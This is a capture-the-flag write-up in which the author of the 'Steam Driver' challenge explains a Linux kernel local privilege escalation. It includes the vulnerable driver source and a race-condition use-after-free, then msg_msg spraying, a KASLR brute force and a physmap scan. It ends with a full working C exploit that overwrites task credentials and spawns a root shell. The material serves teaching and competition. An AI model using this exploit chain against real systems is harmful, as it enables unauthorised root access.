Write-Ups

19 min read

UNI CTF 2021: Showcase of modern Linux kernel exploitation techniques

FizzBuzz101 shares his clever exploits for this year's Uni CTF Stream Driver Hard Pwnable

FizzBuzz101,
Dec 14
2021

In this write-up, we'll document the solution of Steam Driver, a hard kernel pwnable from HTB UNI CTF Quals 2021. We'll investigate how a user can perform a race condition to trigger integer overflow in a driver that leads to UAF in the kmalloc-64 slab. With the help of msg_msg objects, we'll perform a brute force utilising user copy to rebase KASLR and bypass SMAP to achieve local privilege escalation. 

For this year's Hack The Box University CTF Qualifiers, I wrote one challenge: the hard pwnable Steam Driver, a steampunk themed Linux kernel exploitation challenge. Given the chance to make a guest post on this blog, I thought it would be a great chance for me to share (as the author) my perspectives and approaches to this pwnable!

Initial Analysis

Tying into the steampunk themed CTF and considering that this is a Linux Kernel pwnable, I thought the following would make a nice description:

The GNU/Linux community has infiltrated the transportation industry of this steampunk world! They are forcing us to open source our flying locomotive's internal device driver which interfaces with our automated steam engine management mainframes! None of us understand how it works, and we cannot find the intern who wrote this driver. Can you please verify the security of this codebase for us?

Like the typical challenge, I provided the following files: a qemu run script, a kernel configuration file that showed build options, the compressed kernel image (version 5.14.0), and the source code for the driver.

Looking at the qemu run script:

#!/bin/sh

qemu-system-x86_64 \
    -s \
    -m 128M \
    -nographic \
    -kernel "./bzImage" \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
    -no-reboot \
    -monitor /dev/null \
    -cpu qemu64,+smep,+smap \
    -smp 2 \
    -initrd "./initramfs.cpio.gz"

We can make some important immediate observations. Classic mitigations like SMEP, KPTI, and SMAP were on. SMEP stands for Supervisor Mode Execution Prevention, which prevents the CPU from executing userland code from the kernel. KPTI stands for Page Table Isolation, which causes the kernel to manage two sets of page tables depending on whether it is in supervisor mode or usermode. In usermode, only the kernel data that is required to enter and exit the kernel is mapped. In supervisor mode, both kernel and user addresses are mapped but the latter will always have NX set. SMAP stands for Supervisor Mode Access Prevention, which prevents kernel from accessing user memory (except for certain functions like copy_to/from_user). Lastly, smp in the run script was set to 2, giving the kernel 2 cores to work with when qemu system boots.

Let's now take a dive into some source code analysis! Below is the driver source, and take some time reading through it (and try to spot the bug)

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/types.h>
#include <linux/random.h>
#include <linux/delay.h>

#define DEVICE_NAME "steam_engines"
#define CLASS_NAME  "steam_engines"

MODULE_DESCRIPTION("The new era of automated steam engine management for flying locomotives!");
MODULE_LICENSE("GPL");

#define MAX_ENGINES 0x100
#define MAX_COMPARTMENTS 0x200

#define NAME_SZ 0x28
#define DESC_SZ 0x70
#define LOG_SZ 0x100

#define ADD_ENGINE 0xc00010ff
#define ADD_COMPARTMENT 0x1337beef
#define DELETE_COMPARTMENT 0xdeadbeef
#define SHOW_ENGINE_LOG 0xcafebeef
#define UPDATE_ENGINE_LOG 0xbaadbeef

typedef int32_t id_t;

static long steam_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static long add_engine(char *name);
static long add_compartment(char *desc, id_t target_engine);
static long delete_compartment(id_t target_compartment);
static long show_engine_log(id_t target_compartment, char *logs);
static long update_engine_log(id_t target_compartment, char *logs);
static long find_empty_slot(uint64_t **arr, int max);
static long find_selection(id_t **arr, int max, int id);
static long automated_engine_shutdown(void);

typedef struct
{
    id_t id;
    uint8_t usage;
    char engine_name[NAME_SZ];
    char *logs;
}engine_t;

typedef struct
{
    id_t id;
    char compartment_desc[DESC_SZ];
    engine_t *engine;
}compartment_t;

typedef struct
{
    id_t id;
    char *name;
    char *desc;
    char *logs;
}req_t;

engine_t *engines[MAX_ENGINES];
compartment_t *compartments[MAX_COMPARTMENTS];
static struct miscdevice steam_dev;
static struct file_operations steam_fops = {.unlocked_ioctl = steam_ioctl};

static long find_empty_slot(uint64_t **arr, int max)
{
    int i;
    for (i = 0; i < max; i++)
    {
        if (!arr[i])
        {
            return i;
        }
    }
    return -1;
}

static long find_selection(id_t **arr, int max, int id)
{
    int i;
    for (i = 0; i < max; i++)
    {
        if (arr[i])
        {
            id_t chunk_id = *(arr[i]);
            if (chunk_id == id)
            {
                return i;
            }
        }
    }
    return -1;
}

static long automated_engine_shutdown(void)
{
    int i;
    long counter = 0;
    for (i = 0; i < MAX_ENGINES; i++)
    {
        if (engines[i] && !engines[i]->usage)
        {
            kfree(engines[i]->logs);
            engines[i]->logs = NULL;
            kfree(engines[i]);
            engines[i] = NULL;
            counter++;
        }
    }
    return counter;
}

static long steam_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    long result;
    req_t req;
    if (copy_from_user(&req, (req_t *)arg, sizeof(req)))
    {
        return -1;
    }
    switch (cmd)
    {
        case ADD_ENGINE:
            result = add_engine(req.name);
            break;
        case ADD_COMPARTMENT:
            result = add_compartment(req.desc, req.id);
            break;
        case DELETE_COMPARTMENT:
            result = delete_compartment(req.id);
            break;
        case SHOW_ENGINE_LOG:
            result = show_engine_log(req.id, req.logs);
            break;
        case UPDATE_ENGINE_LOG:
            result = update_engine_log(req.id, req.logs);
            break;
        default:
            result = -1;
            break;
    }
    return result;
}

static long add_engine(char *name)
{
    int idx;
    automated_engine_shutdown();
    idx = find_empty_slot((uint64_t **)engines, MAX_ENGINES);
    if (idx < 0)
    {
        return -1;
    }
    engines[idx] = kzalloc(sizeof(engine_t), GFP_ATOMIC);
    if (!engines[idx])
    {
        return -1;
    }
    engines[idx]->logs = kzalloc(LOG_SZ, GFP_ATOMIC);
    if (!(engines[idx]->logs) || copy_from_user(engines[idx]->engine_name, name, NAME_SZ))
    {
        kfree(engines[idx]);
        engines[idx] = NULL;
        return -1;
    }
    get_random_bytes(&engines[idx]->id, sizeof(id_t));
    printk(KERN_INFO "Engine Added Successfully!\n");
    return (long)engines[idx]->id;
}

static long add_compartment(char *desc, id_t target_engine)
{
    int target_idx, alloc_idx;
    target_idx = find_selection((id_t **)engines, MAX_ENGINES, target_engine);
    if (target_idx < 0)
    {
        return -1;
    }
    if (engines[target_idx]->usage == 0xff)
    {
        return -1;
    }
    alloc_idx = find_empty_slot((uint64_t **)compartments, MAX_COMPARTMENTS);
    if (alloc_idx < 0)
    {
        return -1;
    }
    compartments[alloc_idx] = kzalloc(sizeof(compartment_t), GFP_ATOMIC);
    if (!compartments[alloc_idx])
    {
        return -1;
    }
    get_random_bytes(&compartments[alloc_idx]->id, sizeof(id_t));
    if (copy_from_user(compartments[alloc_idx]->compartment_desc, desc, DESC_SZ))
    {
        kfree(compartments[alloc_idx]);
        compartments[alloc_idx] = NULL;
        return -1;
    }
    compartments[alloc_idx]->engine = engines[target_idx];
    engines[target_idx]->usage++;
    automated_engine_shutdown();
    printk(KERN_INFO "New Compartment Connected to Engine Successfully!\n");
    return (long)compartments[alloc_idx]->id;
}

static long delete_compartment(id_t target_compartment)
{
    int idx;
    idx = find_selection((id_t **)compartments, MAX_COMPARTMENTS, target_compartment);
    if (idx < 0)
    {
        return -1;
    }
    compartments[idx]->engine->usage--;
    kfree(compartments[idx]);
    compartments[idx] = NULL;
    printk(KERN_INFO "Compartment Unlinked from Engine Successfully!\n");
    return 0;
}

static long show_engine_log(id_t target_compartment, char *log)
{
    int idx;
    idx = find_selection((id_t **)compartments, MAX_COMPARTMENTS, target_compartment);
    if (idx < 0)
    {
        return -1;
    }
    if (!copy_to_user(log, compartments[idx]->engine->logs, LOG_SZ))
    {
        printk(KERN_INFO "Maintenance Logs Read Successfully!\n");
        return 0;
    }
    return -1;
}

static long update_engine_log(id_t target_compartment, char *log)
{
    int idx;
    idx = find_selection((id_t **)compartments, MAX_COMPARTMENTS, target_compartment);
    if (idx < 0)
    {
        return -1;
    }
    if (!copy_from_user(compartments[idx]->engine->logs, log, LOG_SZ))
    {
        printk(KERN_INFO "Maintenance Logs Updated Successfully\n");
        return 0;
    }
    return -1;    
}

static int init_steam_driver(void)
{
    steam_dev.minor = MISC_DYNAMIC_MINOR;
    steam_dev.name = "steam";
    steam_dev.fops = &steam_fops;
    if (misc_register(&steam_dev))
    {
        return -1;
    }
    printk(KERN_INFO "Steam Driver Initialized\n");
    printk(KERN_INFO "Hope you enjoy our new steam engine management system!\n");
    return 0;
}

static void cleanup_steam_driver(void)
{
    misc_deregister(&steam_dev);
    printk(KERN_INFO "Shutting down steam system immediately!\n");
}

module_init(init_steam_driver);
module_exit(cleanup_steam_driver);

First, let's try to grasp some of the available objects from the driver. The first type is of the engine.

typedef struct
{
    id_t id;
    uint8_t usage;
    char engine_name[NAME_SZ];
    char *logs;
}engine_t;

It holds an id (randomly generated from get_random_bytes), a usage field (which acts like a reference counter), a buffer for the engine name, and a pointer to a character buffer. These buffers will always be of LOG_SZ, making them of size 256 and placing them into the kmalloc-256 slab. The engine struct itself is of size 56, so it will go into the kmalloc-64 slab.

The next object to analyze is the compartment object.

typedef struct
{
    id_t id;
    char compartment_desc[DESC_SZ];
    engine_t *engine;
}compartment_t;

It holds another randomly generated id, a description buffer, and a pointer to an engine. It's size 128, so it will go into the kmalloc-128 slab.

Now that we understand the types of objects available, what can we do with this driver? Please note that driver communication here is facilitated by ioctl syscalls with the given defined constants in the source code.

In terms of the engine, you can only allocate them, but if their reference count is 0, they are "garbage collected" in both the engine and compartment adding function (via the automated_engine_shutdown function). In terms of the compartments, you can allocate (given a specific engine id you want to connect it too), and using the returned id, you can delete the compartment, and read or edit the connected engine's logs.

Using these pieces of information, we can write the following ioctl helpers for communication purposes:

int ioctl(int fd, unsigned long request, unsigned long param)
{
    return syscall(16, fd, request, param);
}

int adde(int fd, char *name)
{
    req_t req = {0};
    req.name = name;
    return ioctl(fd, ADD_ENGINE, (unsigned long)&req);
}

int addc(int fd, char *desc, int id)
{
    req_t req = {0};
    req.desc = desc;
    req.id = id;
    return ioctl(fd, ADD_COMPARTMENT, (unsigned long)&req);
}

int delc(int fd, int id)
{
    req_t req = {0};
    req.id = id;
    return ioctl(fd, DELETE_COMPARTMENT, (unsigned long)&req);
}

int show(int fd, int id, char *logs)
{
    req_t req = {0};
    req.id = id;
    req.logs = logs;
    return ioctl(fd, SHOW_ENGINE_LOG, (unsigned long)&req);
}

int update(int fd, int id, char *logs)
{
    req_t req = {0};
    req.id = id;
    req.logs = logs;
    return ioctl(fd, UPDATE_ENGINE_LOG, (unsigned long)&req);
}

It's great that we understand its behavior now, but this is a pwnable challenge, so where is the bug?

Bug Hunting

Most of these operations are quite safe. Pointers are nulled, usercopies are checked for errors, and kzalloc is used to prevent any uninitialized data issues. Technically, one potential bug is that the random id generation could produce duplicates. However, there are 4 bytes of entropy and I don't believe it's possible to achieve much with such a collision. A potential "pitfall" is to try to overflow the reference counter for an engine to lead to mistaken "garbage collection" and thereby UAF, but the driver checks the counts beforehand (it won't increment and allow compartment engine linking once the count hits 0xff) to guard against such behavior.

Notice how I wrote pitfall in quotes. If you thought about doing that, you weren't on the wrong track completely. Given that there are 2 CPU cores, and I didn't mutex lock the driver operations here... we have our classic kernelspace bug of race conditions!

Many combination of function calls here can probably lead to some exploitable path, but the function with the biggest window for abusing such a bug and the intended target is add_compartment. You can trick automated_engine_shutdown here into freeing engines still linked to the compartment by using a race condition to bypass the reference count check.

The following diagram illustrates this method of attack.

After an initial spray of 254 chunks linked to the same engine, running the code snippet below in 2 threads will successfully cause a race condition to create a UAF in the form of dangling pointers in compartments. Since automated_engine_shutdown nulls out the log pointer, it is easy to check for success by just checking the return value of the show command. One might be temped to think this would cause a kernel panic due to the invalid pointer, but usercopies actually handle this scenario gracefully.

void *race(void *arg)
{
    race_t *args = (race_t *)arg;
    int fd = args->fd;
    int target = args->id;
    char desc[0x100] = {0};
    int result;
    while (!success)
    {
        result = addc(fd, desc, target);
        if (result == -1)
        {
            continue;
        }
        if (show(fd, result, desc) < 0)
        {
            success = 1;
        }
        else
        {
            delc(fd, result);
        }
    }
    return NULL;
}

Some of you who are familiar with kernel exploitation might wonder why I didn't use the userfaultfd technique to gain a stable 100% race condition attack. This is because unprivileged_userfaultfd has been disabled by default since version 5.11 for kernel hardening reasons.

Exploitation: Finding Kernel Base

Since the kernel SLUB follows LIFO behavior, we can replace the freshly freed engine with a chunk that we hopefully can control (within kmalloc-64 of course). At least from personal experience, kmalloc-64 doesn't seem to have that many useful kernel objects that I can trigger the creation of from userland. Ideally, if we can achieve a structure with a pointer at the offset where the logs field would have been, we would then achieve arbitrary read and arbitrary write using any of the compartments that hold a dangling reference to the destroyed engine with edit or show ioctls.

This is where the amazing structure commonly used for kernel heap spraying msg_msg comes in. In conjunction with the syscall msgsnd, we can create msg_msg objects, which have elastic buffers with its smallest possible allocation going into kmalloc-64. We can also control data in this same buffer, and it will align perfectly with the log pointer (the first 0x30 bytes will hold metadata before the buffer)! Now by using msgget, we can free the object, and make way for another one with a different payload.

The following diagram should help clarify this strategy: 

Now that we have this arbitrary read/write primitives, our next step should be rebasing kernel addresses to bypass ASLR (just like in exploiting modern userland binaries). Remember how I said usercopies fail gracefully for invalid regions in its arguments? This becomes useful again, as we can just leak the Linux kernel base with our arbitary read primitive using this behavior. By constantly replacing the logs pointer, we can enumerate via show's return value to determine when we have valid addresses. The following memory mapping documentation should make it clear on how to properly brute force out kernel base. I came up with the following code to help with this:

 uint64_t test = 0xffffffff80000000ull;
    uint64_t kbase = 0;
    uint64_t page_offset_base, physmap, init_cred;
    uint64_t *leaker = (uint64_t *)buffer;
    int uaf = comps[0];
    leaker[0] = 1;
    leaker[1] = test;
    while (test <= 0xffffffffc0000000ull)
    {
        send_msg(qid, message, 0x10, 0);
        if (show(fd, uaf, log) == 0)
        {
            kbase = test;
            printf("\nKernel base at: 0x%llx\n", kbase);
            break;
        }
        printf("testing kernel base at: 0x%llx\r", test);
        get_msg(qid, recieved, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);
        test += 0x100000;
        leaker[1] = test;
    }
    if (!kbase)
    {
        puts("\nkernel leak failed");
        _exit(-1);
    }
    get_msg(qid, recieved, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);

Technically, with usercopy hardening on in the provided build config, having the target be within .text regions should fail. As the first intended blooder and I both noticed later on, it seemed that GCC optimized out the hardening checks when I used a fixed size for the length argument in the driver source.

Now with a KASLR leak, we can perform arbitrary writes wherever we like to escalate privileges.

Exploitation: Escalating Privileges

Even with SMAP, there are so many different approaches to achieving privilege escalation. I usually like to experiment with some different approaches when given the time, especially for challenges I design myself, as one might never know when it will pay off in future encounters. One approach I performed in a previous write-up was to traverse the task linked list starting from init_task to find my current process's task_struct based on the pid field, and then overwrote the credential pointers to that of init_cred, effectively giving my exploit process root privileges.

This time, I followed a similar path to replace my current task_struct credential pointers to that of init_cred, but rather than traversing the linked list to find it, I found it from scanning physical memory.

In the Linux Kernel, there is a region of virtual memory known as physmap, which is a 1:1 direct mapping to physical memory. You can find its start address from the value of page_offset_base after rebasing KASLR.

In this case, physical memory is quite a large region. How exactly can we find what we want? Taking a look at the convoluted task_struct in kernel source, we notice the following (credit goes to ptr-yudai in his Google CTF fullchain write-up for showing this trick). We can control the comms field with the prctl syscall using parameter PR_SET_NAME, and immediately before it are the credential pointers in our process's task_struct. This will make memory scanning quite easy, and generally takes about 15 seconds for me.

Do note that since we are scanning the entire physical memory range, the same string might appear elsewhere as its compiled in our binary and loaded onto userland stack. Checking for memory alignment upon a hit and checking to see if the pointers near it are valid kernelspace heap pointers are necessary. Also note that this method would be much less reliable and preferable compared to walking the task structs if the hardening checks were not compiled out.

Once you find the location of that region in physical memory, simply use the arbitrary write primitive to replace the two pointers before it (using physmap addresses) to init_cred, thereby granting your process root privileges.

Here is the final exploit:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <byteswap.h>
#include <poll.h>
#include <assert.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>

#define ADD_ENGINE 0xc00010ff
#define ADD_COMPARTMENT 0x1337beef
#define DELETE_COMPARTMENT 0xdeadbeef
#define SHOW_ENGINE_LOG 0xcafebeef
#define UPDATE_ENGINE_LOG 0xbaadbeef

#define MAX_ENGINES 0x100
#define MAX_COMPARTMENTS 0x200

typedef struct
{
    id_t id;
    char *name;
    char *desc;
    char *logs;
}req_t;

typedef struct
{
    int fd;
    id_t id;
}race_t;

typedef struct
{
        long mtype;
        char mtext[1];
}msg;

int ioctl(int fd, unsigned long request, unsigned long param)
{
    return syscall(16, fd, request, param);
}

int adde(int fd, char *name)
{
    req_t req = {0};
    req.name = name;
    return ioctl(fd, ADD_ENGINE, (unsigned long)&req);
}

int addc(int fd, char *desc, int id)
{
    req_t req = {0};
    req.desc = desc;
    req.id = id;
    return ioctl(fd, ADD_COMPARTMENT, (unsigned long)&req);
}

int delc(int fd, int id)
{
    req_t req = {0};
    req.id = id;
    return ioctl(fd, DELETE_COMPARTMENT, (unsigned long)&req);
}

int show(int fd, int id, char *logs)
{
    req_t req = {0};
    req.id = id;
    req.logs = logs;
    return ioctl(fd, SHOW_ENGINE_LOG, (unsigned long)&req);
}

int update(int fd, int id, char *logs)
{
    req_t req = {0};
    req.id = id;
    req.logs = logs;
    return ioctl(fd, UPDATE_ENGINE_LOG, (unsigned long)&req);
}

int32_t make_queue(key_t key, int msgflg)
{
    int32_t result;
    if ((result = msgget(key, msgflg)) == -1) 
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}

void get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
    if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}

void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
    if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}

int success = 0;
void *race(void *arg)
{
    race_t *args = (race_t *)arg;
    int fd = args->fd;
    int target = args->id;
    char desc[0x100] = {0};
    int result;
    while (!success)
    {
        result = addc(fd, desc, target);
        if (result == -1)
        {
            continue;
        }
        if (show(fd, result, desc) < 0)
        {
            success = 1;
        }
        else
        {
            delc(fd, result);
        }
    }
    return NULL;
}

int check_if_cred(char *buffer, char *marker, int size_buf, int size_marker)
{
    char *result = memmem(buffer, size_buf, marker, size_marker);
    int offset = (int)(result - buffer);
    if (!result || (offset) % 0x8 != 0 || *(uint16_t *)(buffer + offset - 2) != 0xffff)
    {
        return -1;
    }
    else
    {
        return offset;
    }
}

int main(int argc, char **argv, char **envp)
{
    int engines[MAX_ENGINES] = {0};
    int comps[MAX_COMPARTMENTS] = {0};
    char buffer[0x2000] = {0};
    char name[0x100] = {0};
    char desc[0x100] = {0};
    char log[0x100] = {0};
    char recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int fd;
    int qid;

    fd = open("/dev/steam", O_RDONLY);
    if (fd < 0)
    {
        perror("error on device open");
        _exit(-1);
    }

    qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);

    memcpy(name, "engine1", sizeof("engine1"));
    engines[0] = adde(fd, name);
    memcpy(desc, "comp1", sizeof("comp1"));
    for (int i = 0; i < 254; i++)
    {
        comps[i] = addc(fd, desc, engines[0]);
    }

    puts("racing to bypass and overflow reference count");
    race_t target = {.fd = fd, .id = engines[0]};
    pthread_t thread;

    pthread_create(&thread, 0, race, (void *)&(target));
    race((void *)&target);
    pthread_join(thread, NULL);
    puts("achieved dangling pointer");

    uint64_t test = 0xffffffff80000000ull;
    uint64_t kbase = 0;
    uint64_t page_offset_base, physmap, init_cred;
    uint64_t *leaker = (uint64_t *)buffer;
    int uaf = comps[0];
    leaker[0] = 1;
    leaker[1] = test;
    while (test <= 0xffffffffc0000000ull)
    {
        send_msg(qid, message, 0x10, 0);
        if (show(fd, uaf, log) == 0)
        {
            kbase = test;
            printf("\nKernel base at: 0x%llx\n", kbase);
            break;
        }
        printf("testing kernel base at: 0x%llx\r", test);
        get_msg(qid, recieved, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);
        test += 0x100000;
        leaker[1] = test;
    }
    if (!kbase)
    {
        puts("\nkernel leak failed");
        _exit(-1);
    }
    get_msg(qid, recieved, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);

    page_offset_base = kbase + (0xffffffff8b8c2dd8ull - 0xffffffff8b000000ull);
    init_cred = kbase + (0xffffffff84a22860ull - 0xffffffff84000000ull);
    leaker[1] = page_offset_base;
    send_msg(qid, message, 0x10, 0);

    show(fd, uaf, log);
    get_msg(qid, recieved, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);
    memcpy((char *)&physmap, log, 8);
    printf("[+] physmap base: 0x%llx\n", physmap);

    char marker[] = "EXPLOIT";

    prctl(PR_SET_NAME, marker);

    puts("[+] scanning for task struct in physical memory");

    int found_offset = -1;
    uint64_t curr_task = physmap;
    while (found_offset < 0)
    {
        curr_task += 0x100;
        leaker[1] = curr_task;
        send_msg(qid, message, 0x10, 0);
        if (show(fd, uaf, log))
        {
            puts("current task not found in physical memory");
            _exit(-1);
        }
        get_msg(qid, recieved, 0x10, 0, IPC_NOWAIT | MSG_NOERROR);
        found_offset = check_if_cred(log, marker, 0x100, sizeof(marker));
    }
    curr_task += found_offset;
    printf("[+] current task struct in physical should be at: 0x%llx\n", curr_task);
    puts("[+] overwriting current credential pointers with init_cred");
    *(uint64_t *)(log + found_offset - 0x10) = init_cred;
    *(uint64_t *)(log + found_offset - 0x8) = init_cred;
    update(fd, uaf, log);
    printf("[+] current uid: %d\n", getuid());
    system("/bin/sh");
    return 0;
}

And just for final measures, this is a demonstration of my remote exploit. 

Overall, I hope this was a very educational read and taught you some new tricks. A quick shoutout must go towards Triacontakai for being the first intended solver with less than 30 minutes remaining in the CTF! Feel free to ask me any questions or let me know if there are any unclear or mistaken explanations, as I'm pretty active in the Hack The Box community. And check out my site willsroot.io for more cool write-ups related to CTFs and security in general.

Share article

Hack The Blog

The latest news and updates, direct from Hack The Box